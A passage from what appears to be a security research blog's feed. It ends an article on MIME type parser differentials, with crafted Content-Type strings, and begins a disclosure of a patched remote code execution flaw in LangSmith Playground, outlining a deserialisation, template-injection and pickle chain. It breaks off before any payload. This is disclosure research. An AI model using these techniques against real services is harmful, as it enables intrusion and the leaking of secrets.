<p>Turns out, Chromium will treat open parenthesis character (<code class="language-plaintext highlighter-rouge">(</code>) as a MIME type comment’s delimiter and everything before that becomes the MIME essence, which, according to the comment, does not exist in the specification. Therefore, we can leverage this weird MIME type parsing quirk to basically “comment out” some characters and everything will be ignored after the open parenthesis character, such as our equals sign character:</p>

<p>MIME type string <code class="language-plaintext highlighter-rouge">application/json;,text/html(=</code>:</p>
<ul>
  <li>What Chromium will see:
    <ul>
      <li>MIME essence: <code class="language-plaintext highlighter-rouge">text/html</code></li>
      <li>No parameters (<a href="https://source.chromium.org/chromium/chromium/src/+/main:net/base/mime_util.cc;l=551-558;drc=b487025faae454db2403a4e7189efd592c0b208a"><code class="language-plaintext highlighter-rouge">net/base/mime_util.cc</code> line 551 - 558</a>)</li>
    </ul>
  </li>
</ul>

<p>This weird quirk might enable another parser differential technique, but I just couldn’t figure out how to leverage this.</p>

<h2 id="summary-table">Summary Table</h2>

<table>
  <thead>
    <tr>
      <th>Parser</th>
      <th>Payload Parsing Result ID</th>
      <th>Support List-based Field?</th>
      <th>Last Match Wins?</th>
      <th>Strict Characters Validation?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Chromium</td>
      <td>2</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td>Firefox</td>
      <td>2</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td><a href="https://docs.python.org/3/library/email.message.html#email.message.EmailMessage.get_content_type"><code class="language-plaintext highlighter-rouge">email.message.EmailMessage</code></a> (Python)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://docs.python.org/3.12/library/cgi.html#cgi.parse_header"><code class="language-plaintext highlighter-rouge">cgi</code></a> (Python)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://werkzeug.palletsprojects.com/en/stable/http/#werkzeug.http.parse_options_header"><code class="language-plaintext highlighter-rouge">werkzeug.http</code></a> (Python)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://pypi.org/project/python-mimeparse/#functions"><code class="language-plaintext highlighter-rouge">python-mimeparse</code></a> (Python)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://rigour.followthemoney.tech/mime/#rigour.mime.parse_mimetype"><code class="language-plaintext highlighter-rouge">rigour.mime</code></a> (Python)</td>
      <td>3</td>
      <td>❌</td>
      <td>❌</td>
      <td>✅</td>
    </tr>
    <tr>
      <td><a href="https://github.com/psf/requests/blob/70298332899f25826e35e42f8d83425124f755a5/src/requests/utils.py#L504-L526"><code class="language-plaintext highlighter-rouge">requests.utils</code></a> (Python)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://googleapis.github.io/google-api-python-client/docs/epy/googleapiclient.mimeparse-module.html#parse_mime_type"><code class="language-plaintext highlighter-rouge">googleapiclient.mimeparse</code></a> (Python)</td>
      <td>4</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://fileeye.github.io/MimeMap/classes/FileEye-MimeMap-Type.html"><code class="language-plaintext highlighter-rouge">fileeye/mimemap</code></a> (PHP)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://pear.php.net/package/MIME_Type/docs/1.4.1/MIME_Type/MIME_Type.html#methodparse">PEAR <code class="language-plaintext highlighter-rouge">MIME_Type</code></a> (PHP)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://github.com/expressjs/express/blob/a479419b16f5b97eb20f5dbae5848708ff30ce2d/lib/response.js#L665-L686">Express.js’s <code class="language-plaintext highlighter-rouge">Response</code> object</a> (JavaScript)</td>
      <td>3</td>
      <td>❌</td>
      <td>❌</td>
      <td>✅</td>
    </tr>
    <tr>
      <td><a href="https://github.com/jsdom/whatwg-mimetype?tab=readme-ov-file#mimetype"><code class="language-plaintext highlighter-rouge">whatwg-mimetype</code></a> (JavaScript)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://nodejs.org/api/util.html#new-mimetypeinput">Node.js <code class="language-plaintext highlighter-rouge">util.MIMEType</code></a> (JavaScript)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://github.com/jshttp/mime-types/?tab=readme-ov-file#mimecontenttypetype"><code class="language-plaintext highlighter-rouge">mime-types</code></a> (JavaScript)</td>
      <td>1</td>
      <td>❌</td>
      <td>❌</td>
      <td>❌</td>
    </tr>
    <tr>
      <td><a href="https://github.com/jshttp/content-type?tab=readme-ov-file#contenttypeparsestring"><code class="language-plaintext highlighter-rouge">content-type</code></a> (JavaScript)</td>
      <td>3</td>
      <td>❌</td>
      <td>❌</td>
      <td>✅</td>
    </tr>
    <tr>
      <td><a href="https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L3-L46"><code class="language-plaintext highlighter-rouge">busboy</code></a> (JavaScript)</td>
      <td>3</td>
      <td>❌</td>
      <td>❌</td>
      <td>✅</td>
    </tr>
  </tbody>
</table>

<p>Payload parsing result table:</p>

<table>
  <thead>
    <tr>
      <th>ID</th>
      <th>Payload</th>
      <th>Result</th>
      <th>Remarks</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">application/json;,text/html</code></td>
      <td><code class="language-plaintext highlighter-rouge">application/json</code></td>
      <td> </td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">application/json;,text/html</code></td>
      <td><code class="language-plaintext highlighter-rouge">text/html</code></td>
      <td> </td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">application/json;,text/html</code></td>
      <td>Throw exception/return default type (Usually it’s <code class="language-plaintext highlighter-rouge">text/plain</code>)</td>
      <td> </td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">application/json;=,text/html</code></td>
      <td><code class="language-plaintext highlighter-rouge">application/json</code></td>
      <td>Requires valid parameter name-value pair</td>
    </tr>
  </tbody>
</table>

<h2 id="conclusion">Conclusion</h2>

<p>Parser differentials are still, in my opinion, under-research. The more parser libraries emerge, the higher the chance to have parsing differentials. In this research, I extended <a href="https://github.com/BlackFan/content-type-research/blob/master/XSS.md#response-content-type-tricks">BlackFan’s response <code class="language-plaintext highlighter-rouge">Content-Type</code> tricks research</a> and learned how parsers parse MIME type strings. I hope you learned something new about some weird MIME type string parsing quirks and potentially found a new parser differential technique!</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Achieving remote code execution in LangSmith Playground using unsafe template formatting</title>
      <link>https://lab.ctbb.show/research/langsmith-unsafe-formatting-to-rce</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/langsmith-unsafe-formatting-to-rce</guid>
      <pubDate>Mon, 12 Jan 2026 00:00:00 +0000</pubDate>
      <author>Vladislav Nechakhin</author>
      <description>This post details the discovery and exploitation of a vulnerability in LangSmith Playground that allowed arbitrary code execution through unsafe template formatting</description>
      <content:encoded><![CDATA[<p>These days, everything and everyone is becoming AI-driven, and I’m no exception. While I was playing around with LLM in my spare time and at work, LangChain started popping up more and more in my information space. For those unfamiliar with LangChain, it’s a fairly popular framework for building LLM-powered applications. LangChain is open-sourced <code class="language-plaintext highlighter-rouge">https://github.com/langchain-ai/langchain</code> and currently (December 2025) has <code class="language-plaintext highlighter-rouge">120k+</code> stars on GitHub. Essentially, LangChain provides you with all the building blocks you need to build your own LLM-powered workflow or agent. While you can use the LangChain framework standalone, there’s also an ecosystem to enhance development. One of the key elements of this ecosystem is LangSmith, a comprehensive observability platform that consolidates debugging, testing, evaluation, and monitoring capabilities. Out of curiosity, I decided to explore LangSmith to better understand what products at the cutting edge of AI development offer us and what the attack surface might be for them.</p>

<h2 id="tldr">TL;DR</h2>

<p>This post details the discovery and exploitation of a vulnerability in LangSmith Playground that allowed arbitrary code execution through unsafe template formatting. I found that the <code class="language-plaintext highlighter-rouge">POST /playground/invoke</code> endpoint can be used to deserialise user-controlled objects from JSON and pass them to <code class="language-plaintext highlighter-rouge">f-string</code>, <code class="language-plaintext highlighter-rouge">mustache</code>, or <code class="language-plaintext highlighter-rouge">jinja2</code> template formatters. Using <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code> formatters, I was able to leak environment variables by chaining attribute access. Deeper investigation revealed that <code class="language-plaintext highlighter-rouge">jinja2</code> formatter could achieve remote code execution by exploiting Pydantic’s deprecated <code class="language-plaintext highlighter-rouge">parse_raw</code> method with pickle deserialisation. The attack leverages the ability to pass serialised objects in input parameters and bypassing Jinja2’s sandbox by calling methods that internally perform unsafe operations.</p>

<p>The LangChain team quickly patched the vulnerability by restricting attribute and indexing access in formatters, blocking Jinja2 templates and introducing an allow-list for objects during deserialisation to prevent arbitrary object loading.</p>

<p>Advisories:</p>
<ul>
  <li><a href="https://github.com/langchain-ai/langchain/security/advisories/GHSA-6qv9-48xg-fc7f">GHSA-6qv9-48xg-fc7f</a></li>
  <li><a href="https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm">GHSA-c67j-w6g6-q2cm</a></li>
  <li><a href="https://github.com/langchain-ai/langchainjs/security/advisories/GHSA-r399-636x-v7f6">GHSA-r399-636x-v7f6</a></li>
</ul>

<h2 id="langsmith-playground">LangSmith Playground</h2>

<p>After a quick review of the documentation, I went to <code class="language-plaintext highlighter-rouge">https://eu.smith.langchain.com</code> and created an account. Since LangSmith is designed for tracing requests to LLMs, the most logical thing to do was create my first prompt, run it, and see the results in LangSmith. Fortunately, LangSmith provides a playground, a dedicated interactive environment for rapid prompt engineering and optimisation, which looks like this:</p>

<p><img src="/research/articles/ArticleNo0013/langsmith_playground_overview.png" alt="LangSmith Playground" /></p>

<p>The playground is an interactive testing environment where you can create prompts, set models and their parameters, test prompts in real-time, and even make multi-model comparisons. In other words, everything that is necessary to streamline prompt engineering and LLM experimentation. I set up Caido, added my API key for Gemini to the workspace, wrote <code class="language-plaintext highlighter-rouge">question</code> in the input section, disabled streaming (meaning the response appears complete all at once, not word by word), and started the prompt. The following request appeared in the HTTP history:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/playground/invoke</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">eu.api.smith.langchain.com</span>
<span class="na">Authorization</span><span class="p">:</span> <span class="s">Bearer &lt;JWT&gt;</span>
<span class="na">X-User-Id</span><span class="p">:</span> <span class="s">&lt;User-ID&gt;</span>
<span class="na">X-Tenant-Id</span><span class="p">:</span> <span class="s">&lt;Tenant-ID&gt;</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="w">
    </span><span class="nl">"manifest"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
        </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="s2">"langsmith"</span><span class="p">,</span><span class="w">
            </span><span class="s2">"playground"</span><span class="p">,</span><span class="w">
            </span><span class="s2">"PromptPlayground"</span><span class="w">
        </span><span class="p">],</span><span class="w">
        </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"first"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"ChatPromptTemplate"</span><span class="w">
                </span><span class="p">],</span><span class="w">
                </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"messages"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                                </span><span class="s2">"SystemMessagePromptTemplate"</span><span class="w">
                            </span><span class="p">],</span><span class="w">
                            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                                    </span><span class="p">],</span><span class="w">
                                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w">
                                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f-string"</span><span class="p">,</span><span class="w">
                                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"You are a chatbot."</span><span class="w">
                                    </span><span class="p">}</span><span class="w">
                                </span><span class="p">}</span><span class="w">
                            </span><span class="p">}</span><span class="w">
                        </span><span class="p">},</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                                </span><span class="s2">"HumanMessagePromptTemplate"</span><span class="w">
                            </span><span class="p">],</span><span class="w">
                            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                                    </span><span class="p">],</span><span class="w">
                                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                                            </span><span class="s2">"question"</span><span class="w">
                                        </span><span class="p">],</span><span class="w">
                                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f-string"</span><span class="p">,</span><span class="w">
                                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"{question}"</span><span class="w">
                                    </span><span class="p">}</span><span class="w">
                                </span><span class="p">}</span><span class="w">
                            </span><span class="p">}</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">],</span><span class="w">
                    </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="s2">"question"</span><span class="w">
                    </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="nl">"last"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"schema"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"runnable"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"RunnableBinding"</span><span class="w">
                </span><span class="p">],</span><span class="w">
                </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"bound"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"langchain_google_genai"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"chat_models"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"ChatGoogleGenerativeAI"</span><span class="w">
                        </span><span class="p">],</span><span class="w">
                        </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"temperature"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"top_p"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"model"</span><span class="p">:</span><span class="w"> </span><span class="s2">"gemini-2.5-flash"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"google_api_key"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                                    </span><span class="s2">"GOOGLE_API_KEY"</span><span class="w">
                                </span><span class="p">],</span><span class="w">
                                </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                                </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"secret"</span><span class="w">
                            </span><span class="p">},</span><span class="w">
                            </span><span class="nl">"max_tokens"</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"secrets"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"options"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"use_or_fallback_to_workspace_secrets"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"question"</span><span class="p">:</span><span class="w"> </span><span class="s2">"say hi"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"repetitions"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>When reviewing the request, my first thought was: “Does the manifest contain serialisable objects? Is this some kind of custom serialisation?”. Obviously, when you see things like this, you dive into them. Let’s take a closer look at the <code class="language-plaintext highlighter-rouge">manifest</code> in the request:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"langsmith"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"playground"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"PromptPlayground"</span><span class="w">
    </span><span class="p">],</span><span class="w">
    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"first"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"last"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>It indeed looks like a serialised object of type <code class="language-plaintext highlighter-rouge">langsmith.playground.PromptPlayground</code> with initialisation arguments <code class="language-plaintext highlighter-rouge">first</code> and <code class="language-plaintext highlighter-rouge">last</code>. Since I wasn’t familiar with the details of LangChain’s internal implementation, this assumption didn’t give me a full understanding of the capabilities of this serialisation mechanism, including restrictions on what objects can be deserialised or what validation mechanisms are enforced. However, I noticed another interesting thing in the request: multiple references to <code class="language-plaintext highlighter-rouge">langchain</code>, e.g. <code class="language-plaintext highlighter-rouge">"id": ["langchain", "prompts", "chat", "ChatPromptTemplate"]</code>, which led me to the idea that this code is likely open source as part of the LangChain framework, and I could review it to retrieve the missing context. I cloned the source code from <code class="language-plaintext highlighter-rouge">https://github.com/langchain-ai/langchain</code> and found all the mentioned classes there. While reviewing the <code class="language-plaintext highlighter-rouge">langchain_core.runnables</code> module, I stumbled upon the <a href="https://github.com/langchain-ai/langchain/blob/32bbe99efcd237d2daf3fc86c561c251c5805d0e/libs/core/langchain_core/runnables/base.py#L2789">RunnableSequence</a> class. <code class="language-plaintext highlighter-rouge">RunnableSequence</code> chains multiple runnables together in order, creating a data processing pipeline. Each step in the sequence receives its input from the previous step’s output. In Python code, it looks like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">langchain_core.runnables</span> <span class="kn">import</span> <span class="n">RunnableSequence</span><span class="p">,</span> <span class="n">RunnableLambda</span>

<span class="k">def</span> <span class="nf">add_one</span><span class="p">(</span><span class="n">x</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">x</span> <span class="o">+</span> <span class="mi">1</span>

<span class="k">def</span> <span class="nf">mul_two</span><span class="p">(</span><span class="n">x</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">x</span> <span class="o">*</span> <span class="mi">2</span>

<span class="n">runnable_1</span> <span class="o">=</span> <span class="n">RunnableLambda</span><span class="p">(</span><span class="n">add_one</span><span class="p">)</span>
<span class="n">runnable_2</span> <span class="o">=</span> <span class="n">RunnableLambda</span><span class="p">(</span><span class="n">mul_two</span><span class="p">)</span>
<span class="n">sequence</span> <span class="o">=</span> <span class="n">RunnableSequence</span><span class="p">(</span><span class="n">first</span><span class="o">=</span><span class="n">runnable_1</span><span class="p">,</span> <span class="n">last</span><span class="o">=</span><span class="n">runnable_2</span><span class="p">)</span>
<span class="n">sequence</span><span class="p">.</span><span class="n">invoke</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>

<p>As you may have noticed, <code class="language-plaintext highlighter-rouge">RunnableSequence</code> accepts the same <code class="language-plaintext highlighter-rouge">first</code> and <code class="language-plaintext highlighter-rouge">last</code> arguments as <code class="language-plaintext highlighter-rouge">langsmith.playground.PromptPlayground</code> in <code class="language-plaintext highlighter-rouge">manifest</code>. Apparently, <code class="language-plaintext highlighter-rouge">manifest</code> defines a data processing pipeline using a custom serialisation mechanism, which allows creating a custom pipeline in Python code.</p>

<h2 id="loading-objects-from-json">Loading objects from JSON</h2>

<p>The next step was to understand how the serialisation works. It turned out that all classes used in the request extend the <a href="https://github.com/langchain-ai/langchain/blob/32bbe99efcd237d2daf3fc86c561c251c5805d0e/libs/core/langchain_core/load/serializable.py#L88">langchain_core.load.serializable.Serializable</a> class, and the deserialisation (or revival) process is implemented in <a href="https://github.com/langchain-ai/langchain/blob/32bbe99efcd237d2daf3fc86c561c251c5805d0e/libs/core/langchain_core/load/load.py#L48">langchain_core.load.load.Reviver</a>. The simplified code of <code class="language-plaintext highlighter-rouge">Reviver</code> is presented below:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Reviver</span><span class="p">:</span>
    <span class="s">"""Reviver for JSON objects."""</span>

    <span class="k">def</span> <span class="nf">__call__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="n">Any</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="n">Any</span><span class="p">:</span>
        <span class="c1"># 1. omitted handling the `secret` and `not_implemented` value types
</span>        <span class="c1"># 2. handling the `constructor` value type
</span>        <span class="k">if</span> <span class="p">(</span>
            <span class="n">value</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"lc"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>
            <span class="ow">and</span> <span class="n">value</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"type"</span><span class="p">)</span> <span class="o">==</span> <span class="s">"constructor"</span>
            <span class="ow">and</span> <span class="n">value</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"id"</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span>
        <span class="p">):</span>
            <span class="c1"># 3. simplified module importing
</span>            <span class="p">[</span><span class="o">*</span><span class="n">namespace</span><span class="p">,</span> <span class="n">name</span><span class="p">]</span> <span class="o">=</span> <span class="n">value</span><span class="p">[</span><span class="s">"id"</span><span class="p">]</span>
            <span class="n">mod</span> <span class="o">=</span> <span class="n">importlib</span><span class="p">.</span><span class="n">import_module</span><span class="p">(</span><span class="s">"."</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">namespace</span><span class="p">))</span>
            <span class="c1"># 4. getting the target class and making sure it extends Serializable
</span>            <span class="n">cls</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">mod</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="nb">issubclass</span><span class="p">(</span><span class="n">cls</span><span class="p">,</span> <span class="n">Serializable</span><span class="p">):</span>
                <span class="n">msg</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"Invalid namespace: </span><span class="si">{</span><span class="n">value</span><span class="si">}</span><span class="s">"</span>
                <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
            <span class="c1"># 5. creating an instance of the target class
</span>            <span class="n">kwargs</span> <span class="o">=</span> <span class="n">value</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"kwargs"</span><span class="p">,</span> <span class="p">{})</span>
